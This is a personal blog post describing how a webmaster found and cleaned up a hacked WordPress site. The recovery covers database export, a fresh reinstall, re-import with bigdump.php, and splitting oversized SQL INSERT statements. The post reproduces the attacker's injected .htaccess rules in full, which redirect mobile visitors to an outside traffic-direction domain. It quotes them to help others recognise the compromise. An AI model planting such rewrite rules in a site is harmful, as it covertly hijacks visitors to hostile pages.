On December, 28th 2012 I realized something was wrong with my website. Visiting it from my girlfriend’s IPhone/ Android tablet (yes … Christmas …) I was always redirected to some pr0n portal. It was something with ‘SexGoesMobile’.
I’m writing this down due to the fact that I didn’t find too many pieces of information that helped me with this. Maybe it’ll help you facing the same problem. Let me know.
A quick research showed that there were numerous .htaccess-files spread everywhere around my WordPress installation which were responsible for that. All of them had the same content:
RewriteEngine On
RewriteCond %{HTTP:X-WAP-PROFILE} !^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(Alcatel|Asus|Android|BlackBerry|Ericsson|Fly|Huawei|i-mate|iPAQ|iPhone|iPod|LG-|LGE-|MDS_|MOT-|Nokia|Palm|Panasonic| […] [NC,OR]
RewriteCond %{HTTP_ACCEPT} application/vnd.wap.xhtml\+xml [NC,OR]
RewriteCond %{HTTP_ACCEPT} text/vnd.wap.wml [NC]
RewriteRule ^(.*) http://crzyluxtds.in/go.php?sid=1 [L,R=302]
I’m by far not the most highly skilled webmaster/ html/ php -guy but It does’t take rocket science to find out that http://crzyluxtds.in is related to all this. Screw these guys!
At this point I had WordPress 3.2.2 installed. From my point of view the only way to really get it clean was reinstalling WordPress and resetting my website.
Here’s what I did:
Even though I knew the site was compromised I made an update to the latest WordPress installation from the admin backend. Just wanted to make sure the tables etc are in the right state before exporting their data.
Then I made a list of all the plugins my site used and did a few screenshots (you’ll never know…. these things look ALWAYS different than before … at least different than you remember them …)
Afterwards I logged in to the PHPMyAdmin backend of my website via my provider’s interface (German hoster called ‘Strato’). First up I cleaned my database. There still were lots of tables left from my previous endeavours with Joomla. They were easy to identify since their names all started with ‘jos# or ‘jos15’. I deleted them and only had the WordPress tables left (which are easy to spot as well since their names were starting with ‘wp_’).
I did an export-to-file of all the WordPress tables, checked the downloaded *.sql file and then went on and deleted all the WordPress tables so that i had a clean database.
Afterwards I ftp’ed to my website via FileZilla and made a complete(!) file backup. then I deleted the Worpress folder. Fortunately all the pictures on my website and all files that can be downloaded are in sepereate folders in the root structure of my website, parallel to the WordPress installation so this was easy.
In the local copy of my website I searched for htacess-files in all the non-Wordpress folders and identified all the ones that did the redirection (because it’s a lot faster and way easier from your file explorer than it is via ftp). Knowing where to find these little bastards I ftp’ed to my webspace again and deleted those files there. (I can’t remember precisely but there has also been some faulty ‘index.php’ file as well…just keep your eyes open. )
Then I did a normal WordPress installation with the latest Version (download, unzip, upload, edit wp-config.php and run install.php). at this point I did not alter any content but only set up an Admin-account.
Important step: Goto PHPMyAdmin and make an export of the fresh and clean wordpress tables.
Then I tried to re-import the .sql-file and the real trouble began.
At first the import of my site’s .sql-file failed because it was bigger than 2048kb (it was ~3800 kb). I tried zipping it (since a .zip-file can also be created via PHPMyAdmin) but this failed as well.
Fortunately I came across bigdumb.php which really helped me in this situation. The usage is as easy as possible: Download the php script and locally edit the first 4 items (Db Host, DB name, DB user and password). Then you upload it to a temporary folder on your webspace. To make life easier you best upload your sql-file to that folder as well. Afterwards just call the script from your browser and follow the instructions.
So much for the theory.
In my case the script stopped with an error, something with an insert statement being to big (more than 300 lines). Don’t remember it precisely. The good thing about this is that bigdump gives you a line number where the error os triggered. Fine.
I had a look at the .sql-file and found that statement which was too long and broke it down to multiple statements, everyone being shorter than 300 lines.
This was quite an easy task to do. The statement in the original .sql-file looks something like
INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(1, 2, ‘_wp_page_template’, ‘default’),
(1048, 309, ‘_edit_last’, ‘1’),
(1049, 309, ‘_edit_lock’, ‘*************:1’),
(16, 13, ‘_edit_last’, ‘1’),
(17, 13, ‘_edit_lock’, ‘*****500:1’),
(1053, 311, ‘_edit_lock’, ‘**********93:1’),
(22, 17, ‘_edit_last’, ‘1’),
(23, 17, ‘_edit_lock’, ‘**********5:1’),
(27, 19, ‘_edit_lock’, ‘*********03:1’),
[…~2000 similar lines ~.]
(26, 19, ‘_edit_last’, ‘1’);
In order to break this into multiple statements I went to the ~290th line of the insert, exchanged the last comma against a semicolon and copy-pasted the INSERT statement afterwards. My new .sql file then looked something like this:
INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(1, 2, ‘_wp_page_template’, ‘default’),
(1048, 309, ‘_edit_last’, ‘1’),
(1049, 309, ‘_edit_lock’, ‘*************:1’),
(16, 13, ‘_edit_last’, ‘1’),
[…]
(17, 13, ‘_edit_lock’, ‘*****500:1’),
(1053, 311, ‘_edit_lock’, ‘**********93:1’); <– see the new semicolon
INSERT INTO `wp_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
(22, 17, ‘_edit_last’, ‘1’),
(23, 17, ‘_edit_lock’, ‘**********5:1’),
(27, 19, ‘_edit_lock’, ‘*********03:1’),
[…]
(26, 19, ‘_edit_last’, ‘1’);
I had to do this a few times more but afterwards I was able to drop the tables via PHPMyAdmin and re-import the .sql-file via bidump.php again (the tables need to be dropped first because the .sql-file also contains the necessary CREATE TABLE statements. If you run these against already existing tables it fails).
Everything looked fine besides the fact that I couldn’t log on to my site any more. Furthermore I wasn’t able to send me a ‘reset password link’ since the account (‘admin’) and the email-address were unknown to my wordpress installation.
Great. Like in ‘not great at all’.
Remember that I said it is important to dump your tables after a fresh install? That was a very good thing to do. In short:
Back to PHPMyAdmin, dropped all ‘wp_’ tables and re-imported the clean tables from the fresh installation via bigdump. Quick check: Logging on to the website’s backend was possible again.
Then i dropped all tables EXCEPT ‘wp_users’ and ‘wp_usermeta’. Keep these! Opened the old .sql file (containing all the precious data from the prior installation) and deleted all the references (creation and insert statements) to the tables ‘wp_users’ and ‘wp_usermeta’. Re-imported this file via bigdump again and …..
voila.
All the necessary tables were there, I was able to logon and all my content was back. Afterwards I did a quick reinstall of the WordPress theme (Mantra) and the bare minimum of necessary plugins. Good idea I wrote them down before I started.
Saturday night, 3 o’clock in the morning and everything’s fine again.
